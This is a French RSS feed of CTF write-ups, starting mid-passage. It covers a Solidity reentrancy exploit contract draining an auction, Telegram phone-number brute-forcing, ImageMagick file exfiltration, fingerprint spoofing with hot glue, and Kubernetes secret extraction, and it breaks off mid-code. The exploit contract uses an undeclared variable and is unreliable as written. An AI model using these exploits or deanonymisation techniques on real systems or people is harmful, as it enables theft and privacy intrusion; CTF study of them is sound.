portefeuille</li><li>Utiliser les fonds volés pour <strong>placer la plus grosse enchère</strong> avec notre portefeuille</li><li><strong>Déclencher la fin de l’enchère</strong> avec la méthode <strong>emergencyEnd()</strong> pour 11 000 000 ETH</li></ul><p>Il nous faut donc assez pour placer la plus grosse enchère (soit 11 000 001 ETH + 11 000 000 ETH) afin de déclencher la fin d’urgence de l’enchère, donc <strong>plus de 22 000 001 ETH</strong> au total.</p><p>On peut alors imaginer le contrat suivant :</p><pre>// SPDX-License-Identifier: GPL-3.0<br>pragma solidity ^0.8.4;<br><br>interface IAuction {<br>    function bid() external payable;<br>    function withdraw() external;<br>    function pendingReturns(address _address) external view returns (uint);<br>}<br><br>contract AuctionExploit {<br>    IAuction public auction;<br>    address public attacker;<br><br>    constructor(address _auctionAddress) {<br>        auction = IAuction(_auctionAddress);<br>        attacker = msg.sender;<br>    }<br><br>    receive() external payable {<br>        if (address(auction).balance &gt;= 9000000 ether) {<br>            auction.withdraw();<br>        }<br>    }<br><br>    function attack() external {<br>        auction.withdraw();<br>    }<br><br>    function init() external payable {<br>        stealAmount = msg.value;<br>        auction.bid{value: stealAmount}();<br>    }<br><br>    function withdrawStolenFunds() external {<br>        payable(attacker).transfer(address(this).balance);<br>    }<br><br>    function checkPendingReturns() external view returns (uint) {<br>        return auction.pendingReturns(address(this));<br>    }<br>}</pre><p>Avec ce contrat il faut :</p><ul><li><strong>Déployer le contrat</strong> avec l’adresse de l’enchère en argument</li><li><strong>Initialiser (et payer) le scénario d’attaque avec une première enchère</strong> depuis le contrat avec la méthode <strong>init()</strong>, son <strong>montant est égal au montant qui sera récupéré à chaque itération</strong> de <strong>l’attaque de réentrée</strong></li><li>Attendre la surenchère de l’autre enchérisseur afin de pouvoir utiliser <strong>withdraw()</strong> avec le contrat</li><li><strong>Déclencher l’attaque</strong> avec la méthode <strong>attack()</strong></li><li>Récupérer les fonds vers le portefeuille initial avec <strong>withdrawStolenFunds()</strong></li></ul><p>Nous pouvons donc retourner sur <a href="https://remix.ethereum.org/">Remix</a> afin <strong>d’appliquer la stratégie définie</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CItL4Ph8HvEp9lM1yi2M_g.jpeg" /></figure><p><strong>On initialise l’attaque avec 9 000 000 ETH et ça fonctionne !</strong></p><p>On peut alors terminer l’enchère après avoir posé une enchère.</p><p><strong>Nous avons remporté l’enchère mais l’organisateur est malhonnête</strong>, sur le service web nous pouvons désormais lire le message suivant :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*TPrUiPAnijkBaE_iTQAYTw.jpeg" /></figure><p>Cette enchère nous permet au moins de découvrir un nouveau pseudo : <strong>Fan2Drapeaux</strong>.</p><p>Une rapide recherche en <a href="https://fr.wikipedia.org/wiki/Renseignement_d%27origine_sources_ouvertes">OSINT </a>nous permet de trouver un compte <strong>Reddit</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iXTbMcUDc3IBlm7W8AAcHA.png" /><figcaption><a href="https://www.reddit.com/user/Fan2Drapeaux/">https://www.reddit.com/user/Fan2Drapeaux/</a></figcaption></figure><p>On y découvre en biographie un compte <strong>Telegram </strong>sous le même pseudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/356/1*nijefDytENO9VSwgDYQZAg.png" /><figcaption><a href="https://t.me/Fan2Drapeaux">https://t.me/Fan2Drapeaux</a></figcaption></figure><p><strong>Pour l’instant, rien d’intéressant sur le Telegram</strong>. Concentrons-nous sur les publications Reddit. La première nous confirme que cette personne a bien l’air d’avoir récupéré notre drapeau.</p><p>La seconde publication nous renvoie vers un screenshot sur <strong>Flickr</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*95ihWtxCocsLqFTO00oKDw.png" /><figcaption><a href="https://www.flickr.com/photos/198183854@N06/52835724818/">https://www.flickr.com/photos/198183854@N06/52835724818/</a></figcaption></figure><p>La description Flickr nous apprend que cette image a été rognée avant d’être publiée.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*iBaIjrpHMGwkL7XG3F9L_w.png" /></figure><p>Or, il y a de cela 4 mois, une vulnérabilité se nommant <a href="https://en.wikipedia.org/wiki/ACropalypse">aCropalypse </a>a été publiée au grand jour (<a href="https://en.wikipedia.org/wiki/ACropalypse">CVE 2023–21036</a>). Pour faire simple, il a été dévoilé <strong>qu’on pouvait retrouver l’image originale en ayant uniquement l’image rognée</strong> (si c’était rogné sur un Google Pixel ou avec l’outil Snipping Tool de Windows 11).</p><p>On télécharge donc l’image originale pour voir si on ne peut pas trouver plus d’informations sur Fan2Drapeaux.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*CxpxluAKGnSbrO2xJ5s2jg.png" /></figure><p><strong>On se rend alors compte que cette image est en .gif</strong></p><p>Au bout de quelques recherches, ne baissant pas les bras, on découvre que <strong>les images en .gif peuvent également être affectées par cette vulnérabilité</strong>.</p><p>On utilise alors l’outil <a href="https://github.com/heriet/acropalypse-gif">https://github.com/heriet/acropalypse-gif</a> pour essayer de <strong>récupérer l’image originale</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jr7jbKC12XoKihkHigJTKw.png" /><figcaption><a href="https://github.com/heriet/acropalypse-gif">https://github.com/heriet/acropalypse-gif</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*v0IYRMsSVAlEWY7TYDFayQ.png" /></figure><p>Un fichier semble bien être sorti, <strong>on va directement voir le résultat.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SfCme_PQWGsD0T2LOtlA4A.png" /><figcaption>image restaurée en exploitant aCropalypse</figcaption></figure><p>On découvre alors qu’on a bien réussit à retrouver l’image originale. Cela permet notamment de découvrir un numéro de téléphone, en tout cas en partie : <strong>0771???258</strong></p><p>Ayant une <strong>partie de son numéro de téléphone</strong> ainsi que son <strong>pseudo Telegram</strong> (Fan2Drapeaux), il nous est alors possible d’utiliser la <a href="https://github.com/bibi1959/CVE-2019-15514">CVE-2019–15514</a> pour <a href="https://fr.wikipedia.org/wiki/Attaque_par_force_brute">bruteforce </a>ces 3 derniers caractères avec l’API Telegram et ainsi <strong>trouver le numéro complet</strong> de ce malfrat qui a notre drapeau.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ETNxV4TKRJlJNfcS4m4KEw.png" /><figcaption><a href="https://github.com/bibi1959/CVE-2019-15514">https://github.com/bibi1959/CVE-2019-15514</a></figcaption></figure><p>Après avoir configuré l’outil, on lance donc l’attaque :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ta90t6h1gBT1yPueP-hItg.png" /></figure><p>En environ 20 secondes, on trouve alors le numéro complet ! C’est le <strong>33771434258</strong></p><p>On recherche alors ce numéro sur Google pour voir si on ne peut pas récupérer plus d’informations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*qB69LnatH6axtceW7LFJ4Q.png" /></figure><p>Le premier site semble le référencer, en allant dessus on découvre ceci :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*Z8q24lVvEWFzSjb_4xGXFw.png" /><figcaption><a href="https://www.signal-arnaques.com/scam/view/640861">https://www.signal-arnaques.com/scam/view/640861</a></figcaption></figure><p>Une personne <strong>semble avoir enregistré un échange audio avec ce numéro de téléphone</strong>, et l’a mis sur Vocaroo <a href="https://vocaroo.com/13TciP3hClcy">https://vocaroo.com/13TciP3hClcy</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*d9ZSxUrABPJSO0ySMIkxbA.png" /><figcaption><a href="https://vocaroo.com/13TciP3hClcy">https://vocaroo.com/13TciP3hClcy</a></figcaption></figure><p><strong>Voici la retranscription écrite de l’audio</strong> :</p><p><em>“Vous êtes fous, me contactez pas par téléphone ! Utilisez la fréquence 89.5 comme on a vu au briefing”</em></p><p>Par chance, nous avons toujours <strong>notre récepteur radio sur nous</strong>, nous le <strong>réglons sur cette fréquence… mais rien</strong>.</p><p>Ne comprenant pas cette affaire de fréquence, on repart sur le <strong>Reddit pour voir si nous n’avons pas loupé des informations</strong>.</p><p>On vérifie si le compte n’a pas eu des archivages sur Wayback Machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mjc4e15QRtcU5AL81xEcVg.png" /><figcaption><a href="https://web.archive.org/web/20230000000000*/https://www.reddit.com/user/Fan2Drapeaux/">https://web.archive.org/web/20230000000000*/https://www.reddit.com/user/Fan2Drapeaux/</a></figcaption></figure><p><strong>Malheureusement, rien dessus</strong>, on double-vérifie en allant également sur <a href="https://archive.is/">archive.is</a>, peut-être que nous aurons <strong>plus de chances dessus</strong> …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*hfGIn3ZwPZtpAqr9_71wWQ.png" /></figure><p><strong>Bingo ! Il y a bien une capture de présente.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mqe19lKokm7mBCcVzG2WuQ.png" /><figcaption><a href="https://archive.is/zZ1Hh">https://archive.is/zZ1Hh</a></figcaption></figure><p><strong>On découvre alors une 3ème publication qu’on ne voyait pas sur Reddit car Fan2Drapeaux l’a sûrement supprimé.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zVseZ3UjyaRYQa8MvsL3eQ.png" /><figcaption><a href="https://archive.is/8pQ4a">https://archive.is/8pQ4a</a></figcaption></figure><p>On fait alors la découverte d’un nouveau site ! Ces malfrats ont apparemment créé un site sur <a href="https://fr.wikipedia.org/wiki/Tor_(r%C3%A9seau)">Tor </a>:</p><p><strong>fuck2lph5ubhghefpxg3xfbpw5fqxeiqnrqvn2uuss5mpts3po6jeryd.onion</strong></p><p>Allons investiguer dessus.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O2jKx8_MjsXTNJ0bFezwqQ.jpeg" /></figure><p>Ce site semble être un forum<em> à l’ancienne </em>sur lequel des <strong>membres s’échangent des informations.</strong></p><p>Plusieurs fonctionnalités sont disponibles :</p><ul><li>lire des posts</li><li>poster un <a href="https://fr.wikipedia.org/wiki/M%C3%A8me_Internet">meme </a>anonyme</li><li>lister des utilisateurs</li></ul><p>La route <strong>/posts</strong> ne retourne que les publications avec une <strong>visibilité publique</strong> :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z2yyJip38ac4Cgtp95M9Yg.jpeg" /></figure><p>Cependant la route <strong>/users</strong> semble autoriser l’inclusion des posts via <strong>/users/posts </strong>ce qui permet un accès direct non sécurisé aux posts (<a href="https://en.wikipedia.org/wiki/Insecure_direct_object_reference">IDOR</a>) :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n7riQHkscPq4l0aungiePw.jpeg" /></figure><p>Grâce à cette <strong>IDOR </strong>on peut visualiser les posts privés, notamment un message avec un lien <strong>permettant de télécharger le code source d’une bombe et d’un coffre.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*FLXV5R8nWM3KH_d9aWTpgQ.png" /></figure><p>On apprend aussi que <strong>ce groupe prépare une attaque et qu’ils ont les plans de l’endroit visé, stockés sur le serveur</strong> à ce chemin :</p><ul><li><strong>/app/secret/conde_plan.pdf</strong></li></ul><p>Nous pouvons alors exploiter une vulnérabilité (CVE 2022–44268) <a href="https://hackerone.com/reports/1858574">https://hackerone.com/reports/1858574</a> dans <strong>ImageMagick</strong> utilisé pour le redimensionnement des images lors du post d’un meme anonyme.</p><p><strong>Cet exploit permet d’exfiltrer le contenu d’un fichier local en passant son chemin dans la métadonnée “profile” d’une image qui sera traitée par ImageMagick.</strong> Le contenu est alors accessible dans le contenu de l’image traitée.</p><p>Ainsi nous pouvons <strong>exfiltrer le plan du bâtiment.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vYNtUOZRKqS-mggmu4xgTw.png" /></figure><p>Nous nous rendons donc au <strong>3ème étage du bâtiment et commençons à chercher des indices.</strong></p><p><strong>Soudain, notre radio capte un signal faible</strong>. Nous cherchons la source du signal. Le signal devient audible via notre récepteur, <strong>cela ressemble à une étrange conversation avec une phrase qui retient notre attention</strong>.</p><p><em>“Le drapeau est en sécurité, ils ne sont pas prêt de le récupérer”</em></p><p><strong>Nous somme sur la bonne voie</strong>.</p><p>À force de se rapprocher sur signal, <strong>nous arrivons dans une pièce isolée</strong>.</p><p>À l’intérieur nous découvrons le relai radio, <strong>que nous déconnectons immédiatement pour couper la communication des voleurs</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rGppPWee-lScv6owPgPJ3g.jpeg" /><figcaption>Image de l’émetteur après avoir changé la fréquence</figcaption></figure><p>Durant la fouille de cette pièce nous trouvons :</p><ul><li><strong>Un dossier contenant les fiches volées des criminels</strong></li><li><strong>Un coffre fort, dissimulé dans une baie réseau</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5WQt6J4VKWba0mHULFuPOA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*URpPtxgJJLq1k1KX_CbTMw.jpeg" /><figcaption>Dossier contenant les fiches des criminels</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/851/1*RTh0wRj9LxMylVTHct4wYQ.jpeg" /><figcaption>Coffre caché dans la baie réseau de la pièce</figcaption></figure><p><strong>Notre drapeau est certainement dans ce coffre</strong>. Il ne ressemble pas à un coffre fort normal, <strong>il a sûrement été modifié</strong>.</p><p>Nous comprenons que<strong> l’archive trouvée précédemment</strong> correspond au <strong>code source du firmware de ce coffre</strong>. Nous commençons à analyser le code, il s’agit d’un projet Arduino destiné à un microcontrôleur ESP32.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pQTLSJhfTmUeptOQrUeOUg.png" /></figure><p>D’après son firmware, le coffre dispose de différentes fonctionnalités:</p><ul><li><strong>une camera utilisée pour de la reconnaissance faciale</strong></li><li><strong>un capteur d’empreinte digitale</strong></li><li><strong>une carte SD utilisée pour stocker les images des visages</strong></li><li><strong>un point d’accès Wifi</strong></li><li><strong>une interface web</strong></li></ul><p>Nous détectons effectivement un point d’accès <em>“biometric-safe”</em>, <strong>nous cherchons le mot de passe</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*vreB_sE0B1VDuDasERVRVQ.png" /></figure><p>Il semble initialisé par un fichier stocké dans la système de fichier <strong>SPIFFS </strong>du microcontrôleur. SPIFFS signifie <strong>Serial Peripheral Interface Flash File System</strong>, c’est un système de fichier embarqué qui utilise une partie de la mémoire flash qui n’est pas occupée par le code du firmware.</p><p><strong>Il est donc impossible de le trouver uniquement avec le code.</strong></p><p>Heureusement <strong>un dump de la mémoire flash</strong> est également présent dans l’archive. Nous le trouvons avec une simple recherche textuelle du <strong>SSID</strong> dans le dump mémoire.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/764/1*ixV4SmIhyF9TmyByV1kIrg.png" /></figure><p><strong>Nous pouvons maintenant nous connecter au point d’accès</strong>. Il nous donne une <strong>IP</strong>. En essayant d’accéder l’interface web nous rencontrons un deuxième obstacle, <strong>une authentification HTTP basique</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xz-nWR_P12j3k4So8u0RIA.png" /></figure><p>Cette fois, les informations sont stockées dans <strong>la partie NVS de la mémoire.</strong> Cette partie de la mémoire ne contient pas de système de fichiers, mais une <strong>association clé/valeur.</strong></p><p>Nous utilisons l’outil <a href="https://github.com/tenable/esp32_image_parser">https://github.com/tenable/esp32_image_parser</a> <strong>pour extraire et formater le contenu de la mémoire.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-bv6XAIOuC05bc08sIqkkA.png" /></figure><p><strong>Une fois le mot de passe trouvé</strong>, nous pouvons enfin accéder à l’interface web.</p><p><strong>Il s’agit d’une simple page affichant les visages contenus sur la carte SD</strong>.</p><p>Il n’y en a <strong>qu’un que nous reconnaissons immédiatement</strong>, c’est <strong>l’un des criminels présents sur les fiches trouvées au 3ème étage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zIzU7e1FoyjzctJeYp9iwA.jpeg" /><figcaption>Analyse des éléments présents sur les fiches du dossier</figcaption></figure><p>Étant donné les <strong>capacités réduite du microcontrôleur</strong>, la <strong>reconnaissance faciale semble plutôt basique</strong>, nous essayons donc de berner la reconnaissance faciale en <strong>présentant directement la photo de la fiche devant la caméra</strong>.</p><p>Après une dizaine d’essais (avec l’aide de la lumière d’un téléphone) <strong>le coffre valide le visage</strong> ! Nous avons <strong>passé la 1ère étape, le capteur d’empreinte digitale est maintenant activé.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sGbOj9_lW6rFHFSuvirovQ.jpeg" /></figure><p>Il s’agit d’un capteur optique, <strong>plus facilement manipulable que les capteurs capacitif</strong>. Il s’agit grossièrement d’un appareil photo capturant une image éclairée par une lumière rasante, <strong>faisant ressortir uniquement les reliefs de l’objet poser sur la vitre du capteur.</strong></p><p><strong>De plus, nous pouvons voir dans le code que le capteur a été paramétré de manière permissive.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*cvYWXOzo05CT-0qaLDusyg.png" /></figure><p>Nous disposons des empreintes des criminels sur <strong>des fiches plastifiées jointes aux dossiers.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9xcJuQ4SMvDdLO1Thz6anw.jpeg" /><figcaption>Empreintes digitales des criminels</figcaption></figure><p><strong>Il faut trouver un moyen de transposer l’empreinte pour la rendre visible par le capteur</strong>. Poser la feuille plastique sur le capteur <strong>ne suffit pas.</strong></p><p>Heureusement nous trouvons un tutoriel dans les tweets d’un des malfrats trouvés précédemment :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*sNYrF3KSX-ftOCbZyhdVgw.png" /></figure><p><a href="https://telegra.ph/Samouchitel-Kak-sdelat-falshivyj-otpechatok-palca-s-nebolshim-kolichestvom-resursov-05-01">Самоучитель: Как сделать фальшивый отпечаток пальца с небольшим количеством ресурсов?</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*3wyoHO46lre6leJ7m8I1ew.png" /></figure><p><strong>La pièce où nous nous trouvons est une réserve, contenant pas mal de matériel de bureau</strong> (feutres, feuilles, scotch, colle, trombones, tournevis…)</p><p>Nous allons utiliser cette technique simple : <strong>un briquet et de la colle chaude</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MsMOQ_iWD3AMpFuqX4MeXg.jpeg" /></figure><p><strong>En chauffant l’extrémité du bâton de colle, sa surface devient liquide (</strong><em>nous commençons à ressentir les effluves de la colle</em><strong>)</strong>, nous l’appliquons aussitôt sur l’empreinte présente sur la fiche plastique, puis la laissons refroidir.</p><p><strong>Cette technique est assez basique mais peut tromper certain capteurs optiques dont la configuration est assez permissive.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dAR4BnfHd6S7EI07GNMPtA.jpeg" /></figure><p><strong>Une fois solidifiée, nous la décollons</strong>. Le toner représentant l’empreinte reste figé dans la colle, c’est ce que nous recherchions.</p><p><strong>Il nous reste juste à appliquer le bâton de colle avec l’empreinte sur le lecteur.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dGYr-spdYUWta5FG2tNT6Q.jpeg" /></figure><p><strong>L’empreinte est validée !</strong></p><p><strong>D’après le code, il suffit maintenant d’appuyer sur le bouton pour ouvrir le coffre</strong>.</p><p>Seulement voilà, juste après l’ouverture, la fonction <em>“trigger_bomb”</em> sera appelée, <strong>ce qui n’augure rien de bon.</strong></p><p>Nous continuons donc l’analyse du code avant de l’ouvrir, <strong>car il semble piégé</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*WQFmhZhZ3rXjifqSyBuBrg.png" /></figure><p>La fonction en question envoie un signal haut sur une <a href="https://lesdefinitions.fr/pin">pin</a> spécifique puis transmet un étrange message via le protocole série (<strong>UART</strong>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/794/1*EdZlBadPc3D7YP94S9Yv3A.png" /></figure><p>Le signal correspond à un <strong>mélange des chiffres 1,2,3 et 4 présents dans une variable</strong> appelée <strong>“wires”</strong>.</p><p>La valeur de ce signal semble être envoyée à une <strong>bombe à l’intérieur du coffre</strong>, peut-être un <strong>mécanisme d’auto-destruction</strong>.</p><p>Avant l’envoi du signal, la fonction <em>“shuffle_order”</em> est appelée. Cette fonction effectue le <a href="https://youtu.be/3AWCeF7Bd5g">mélange</a> à l’aide de l’algorithme de pseudo randomisation <em>“</em><a href="https://www.instructables.com/Miller-Shuffle-Algorithm/"><em>park-miller</em></a><em>”</em>. <strong>C’est un algorithme qui permet de générer des nombres pseudo aléatoires à partir d’une seed.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*Gvjdbb0pE4TVLOv8CFaWYA.png" /></figure><p>La seed utilisée est le résultat retourné par la fonction <strong>“millis”</strong> <strong>divisé par 10000</strong>. Une rapide recherche nous permet de trouver dans la documentation d’Arduino que cette fonction retourne le nombre de millisecondes écoulé depuis le démarrage du microcontrôleur.</p><p><strong>Cette valeur est relativement facile à contrôler.</strong> Cela signifie qu’<strong>une fois cette valeur connue, nous seront en mesure de retrouver les nombres générés pseudo aléatoirement.</strong></p><p>Nous ne savons pas depuis quand le coffre est installé ici. Mais étant donné qu’il est connecté à une simple prise de courant, nous pouvons le <strong>débrancher puis le rebrancher, en démarrant un chronomètre simultanément</strong>, ainsi nous pourrons <strong>connaître approximativement</strong> la valeurs retournée par <em>“millis”</em> <strong>au moment de l’ouverture</strong>.</p><p>Cette valeur étant divisée par 10 000 avant son utilisation comme seed, la <strong>précision ne sera pas importante, car seules les tranches de 10 secondes seront comptabilisées.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FhIiqcd6Q7sQMAnE9FpJfA.jpeg" /></figure><p><strong>Le coffre ayant redémarré</strong>, nous refaisons les étapes de reconnaissance faciale et d’empreinte digitale. <strong>Nous somme maintenant prêts.</strong></p><p><strong>Le coffre est branché depuis 231 secondes</strong>, nous appuyons sur le bouton d’ouverture, en lançant simultanément la fonction de pseudo randomisée sur notre ordinateur, en utilisant la seed “23”. <strong>Cela nous donne le résultat “3142”.</strong></p><p>Au même moment la porte du coffre s’ouvre… nous apercevons une <strong>énorme bombe dont le détonateur se déclenche immédiatement</strong> !<br>IL AFFICHE 60 SECONDES !</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F927519452%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F927519452&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F1822446854-07b6dabf8b90c24ebdd535dbdb9a28f55a906dd2dc49f975a6cb3b892604578a-d_640&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=vimeo" width="640" height="472" frameborder="0" scrolling="no"><a href="https://medium.com/media/16371fa06dbb3c7d32b52a647f71d697/href">https://medium.com/media/16371fa06dbb3c7d32b52a647f71d697/href</a></iframe><p><strong>Au sommet de la bombe,</strong> il y a <strong>4 fils entortillés</strong>, ils semblent correspondre à la variable <em>wires</em>, <strong>l’étrange signal est donc sûrement l’ordre des fils à débrancher pour désamorcer la bombe.</strong></p><p>Nous attrapons une <strong>pince coupante</strong>, puis <strong>commençons à couper les fils</strong> :</p><ul><li>le 3ème 😬</li><li>le 1er 😰</li><li>le 4ème 🥵</li><li>le 2ème 😱</li></ul><p><strong>VICTOIRE </strong>🎉 le compte à rebours se fige !</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iVN58v-DzykwlSvTGy8Uag.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=76ff95052375" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack.lu 2023 — Misc Write-up : Bat as Kube]]></title>
            <link>https://lespireshat.medium.com/hack-lu-2023-misc-write-up-bat-as-kube-6d6b37da235f?source=rss-2b402721a46e------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d6b37da235f</guid>
            <category><![CDATA[kubernetes]]></category>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Les Pires Hat]]></dc:creator>
            <pubDate>Fri, 20 Oct 2023 11:18:47 GMT</pubDate>
            <atom:updated>2023-10-20T12:09:03.996Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack.lu 2023 — Misc Write-up : Bat as Kube</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w21KZhT7xNoxqVmOKUttPA.png" /><figcaption>hack.lu 2023</figcaption></figure><p>En octobre 2023 notre équipe a participé au CTF hack.lu, nous avons beaucoup apprécié la variété et l’originalité des challenges proposés ainsi que la qualité du CTF dans son ensemble.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TT6M7n-vexYOV9TV1_hTFw.png" /><figcaption>Bat as Kube</figcaption></figure><p>Ce write-up concerne le challenge <strong>Bat as Kube</strong> dans la catégorie <strong>misc</strong>.</p><p>Le challenge nous indique simplement qu’un flag est présent sur le cluster Kubernetes.</p><p>On commence alors l’analyse avec un <strong>service-account donné</strong> qui permet d’interagir avec l’API du cluster.</p><p>Premier réflexe avec un service-account, <strong>obtenir la liste des actions réalisables</strong> avec cet utilisateur sur le namespace par défaut :</p><pre>kubectl --kubeconfig config auth can-i --list</pre><p>On remarque alors la possibilité de récupérer un secret nommé <strong>docker-hub-login</strong> dans le default namespace.</p><pre>apiVersion: v1<br>data:<br>  .dockerconfigjson: ewogICAgImF1dGhzIjogewogICAgICAgICJnaXQuazhzLWN0Zi5kZToxMzM3IjogewogICAgICAgICAgICAiYXV0aCI6ICJZM1JtTFhCc1lYbGxjanBtTVY5NlduTktkVk4zTTNZMmVUZEdXSEJ1Y0E9PSIKICAgICAgICB9CiAgICB9Cn0K<br>kind: Secret<br>metadata:<br>  creationTimestamp: &quot;2023-10-15T09:55:02Z&quot;<br>  name: docker-hub-login<br>  namespace: default<br>  resourceVersion: &quot;301&quot;<br>  uid: 3d79a1eb-641c-43ba-be6d-0511fd1fcb49<br>type: kubernetes.io/dockerconfigjson</pre><p>Ce type de secret (dockerconfigjson) correspond aux identifiants requis pour interagir avec un registry notamment pour <strong>récupérer une image docker depuis un registry privé</strong>.</p><p>Ce secret nous permet de récupérer l’image utilisée par le container dans le pod <strong>flag-operator</strong>.</p><p>Ainsi après avoir ajouter les identifiants à la configuration de docker on peut alors se login et pull l’image <strong>git.k8s-ctf.de:1337/root/hacklu:latest</strong></p><pre>docker login git.k8s-ctf.de:1337<br>docker pull git.k8s-ctf.de:1337/root/hacklu:latest</pre><p>Après récupération de l’image nous pouvons alors l’analyser avec <a href="https://github.com/wagoodman/dive"><strong>dive</strong></a> ou simplement écraser l’entrypoint de l’image par <strong>/bin/sh</strong> afin de se balader dans le container en mode interactif.</p><pre>docker run -it git.k8s-ctf.de:1337/root/hacklu:latest /bin/sh</pre><p>On remarque alors le code python de l’opérateur :</p><pre>from kubernetes import client, config, watch<br>import os<br>import uuid<br>import json<br><br>def read_flag():<br>    flag = os.getenv(&quot;FLAG&quot;)<br>    return str(flag)<br><br>def check_flagrequest(obj, crds, group, version, flagprotector_plural):<br>    fp = crds.list_namespaced_custom_object(group, version, &quot;flagprotector&quot;, flagprotector_plural)<br>    if len(fp[&quot;items&quot;]) &gt; 0:<br>        return False, &quot;A Flagprotector is deployed somewhere in the cluster, you need to delete it first!&quot;<br><br>    fr = json.loads(json.dumps(obj))<br><br>    if &quot;metadata&quot; not in fr.keys():<br>        return False, &quot;Flagrequest: Missing metadata&quot;<br><br>    if &quot;labels&quot; not in fr[&quot;metadata&quot;].keys():<br>        return False, &quot;Flagrequest: Missing labels&quot;<br><br>    if &quot;hack.lu/challenge-name&quot; not in fr[&quot;metadata&quot;][&quot;labels&quot;].keys():<br>        return False, &quot;Flagrequest: Missing label hack.lu/challenge-name&quot;<br><br>    if &quot;give-flag&quot; != fr[&quot;metadata&quot;][&quot;name&quot;]:<br>        return False, &quot;Flagrequest: I dont like the request name, it should be &#39;give-flag&#39;&quot;<br><br>    if &quot;spec&quot; not in fr.keys():<br>        return False, &quot;Flagrequest: Missing spec&quot;<br><br>    if &quot;anti-bruteforce&quot; not in fr[&quot;spec&quot;].keys():<br>        return False, &quot;Flagrequest: &#39;anti-bruteforce&#39; is missing in the spec&quot;<br><br>    if &quot;Bi$wmX4PBTQLGe%AIKPO19$ussap4w&quot; != fr[&quot;spec&quot;][&quot;anti-bruteforce&quot;]:<br>        return False, &quot;Flagrequest: Anti-bruteforce token invalid! You dont need to bruteforce! Im hiding something in the cluster, that will help you :D&quot;<br><br>    return True, &quot;Good Job!&quot;<br><br>def main():<br>    # Define CRDs<br>    version = &quot;v1&quot;<br>    group = &quot;ctf.fluxfingers.hack.lu&quot;<br><br>    flagrequest_plural = 